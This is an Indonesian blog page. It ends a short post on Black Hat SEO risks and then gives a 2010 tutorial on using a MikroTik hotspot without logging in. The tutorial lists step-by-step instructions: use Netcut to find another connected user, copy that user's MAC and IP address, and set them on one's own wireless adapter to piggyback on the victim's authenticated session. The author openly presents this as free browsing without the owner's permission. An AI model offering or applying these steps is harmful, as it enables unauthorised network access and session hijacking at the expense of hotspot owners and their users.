  5. Seluruh cara tersebut beresiko tinggi. Bahkan resiko terbesarnya adalah situs atau blog Black Hat SEO direject dari mesin pencari.

Dengan menerapkan strategi Black Hat SEO maka hasilnya menjadikan blog kita di urutan teratas mesin pencari terutama Google.
Hal yang perlu di ingat adalah strategi ini beresiko tinggi. Setiap tindakan yang apabila tindakan tersebut diketahui maka akibatnya blog atau situs Black Hat SEO akan di blacklist dijagad internet.
Banyak cara untuk menaikkan kunjungan alias traffic ke blog. Cara-cara tersebut adalah dengan:
  1. Melakukan blog walking. Dengan cara ini kita bisa mempopulerkan blog berikut isinya ke seluruh blogger. Selain itu kita juga bisa mendapatkan teman baru bahkan sharing ilmu .
  2. Selalu membookmark blog berikut kontennya. Hal ini bertujuan agar tulisan atau postingan yang kita buat bisa dinikmati oleh seluruh orang yang mengunjungi social bookmarking tersebut. Akibatnya sudah barang tentu yaitu meningkatnya kunjungan ke blog.
  3. Daftar dan lakukan social bookmark sendiri di Social Marker.
Menjadi raja di internet itu susah-susah gampang, yang penting strategy apa yang kita miliki dan kita yakin terhadap strategi tersebut walaupun itu adalah natural. Justru dengan natural strategi kita bisa mendapatkan PR tinggi.

Senin, 31 Mei 2010

Tutorial Mikrotik Hotspot Hacking Wireless

Satu lagi cara berinternet gratis yaitu dengan meng-hack hotspot mikrotik. Sebenarnya cara ini sudah basi, tetapi karena baru saja saya mempraktekan maka saya tulis langkah-langkahnya. Disamping untuk mengingat kalau lupa kan bisa untuk sharing buat yang lain, yang mungkin belum tahu atau masih kurang paham. Biasanya kalau kita terhubung dengan hotspot mikrotik maka kita akan dihadapkan dengan menu mikrotik login sebelum kita bisa browsing. Cara ini adalah untuk mem-by pass mikrotik login, sebenarnya lebih tepat kalau disebut cloning client. Intinya kita tidak harus login dulu untuk bisa browsing, karena target sudah login. Kita sebagai clone-nya jadi tidak perlu login. Trik ini hanya bisa jalan selama client yang kita clone masih terhubung ke hotspot.


Berikut langkah-langkahnya :

1. Download dulu program Netcut, program ini untuk mengetahui MAC address yang terhubung dengan kita. Netcut bisa didownload disini.
2. Koneksikan komputer kita dengan hotspot mikrotik
3. Jalankan program Netcut
4. Pilih LAN Card / NIC yang kita gunakan dengan mengklik menu Choice NetCard








5.Kemudian klik OK kembali ke layar utama, pilih salah satu network yang terkoneksi. Yang jelas bukan network kita atau network server.



6. Salin IP address dan MAC address, bisa juga dengan mengklik PrintTable kemudian blok dan copy paste ke notepad untuk langkah selanjutnya.


7. Setelah dipaste di notepad langkah selanjutnya edit nilai MAC address, pada contoh ini [00:26:5E:60:81:1C]. Hilangkan tanda [:] sehingga menjadi 00265E60811C. Nilai ini yang akan kita gunakan untuk merubah MAC address kita.

8. Selanjutnya kita disable dulu wireless LAN kita. Kemudian buka properties wireless LAN dan ubah nilai Local Administration MAC Network, default kosong. Isi dengan nilai tadi, pada contoh ini 00265E60811C


9. Kemudian kita set IP wireless LAN kita dengan IP yang sama yaitu 192.168.182.18 dan isi juga DNS server address.



Untuk DNS server address bisa dicek sebelum kita merubah MAC dan IP. Jadi waktu pertama kali kita terhubung ke hotspot, dengan cara mengetik perintah dari command prompt
C:\>ipconfig/all
10. Langkah terakhir adalah meng-enable kembali wireless LAN kita. Sekarang kita bisa browsing tanpa harus ijin pada yang punya hotspot.
11. Hasil :
Sebelum melakukan clone


Sesudah melakukan clone




Tutorial ini hanya untuk mereka yang malas bertanya username dan password pada admin jaringan. Malu bertanya tidak bisa browsing.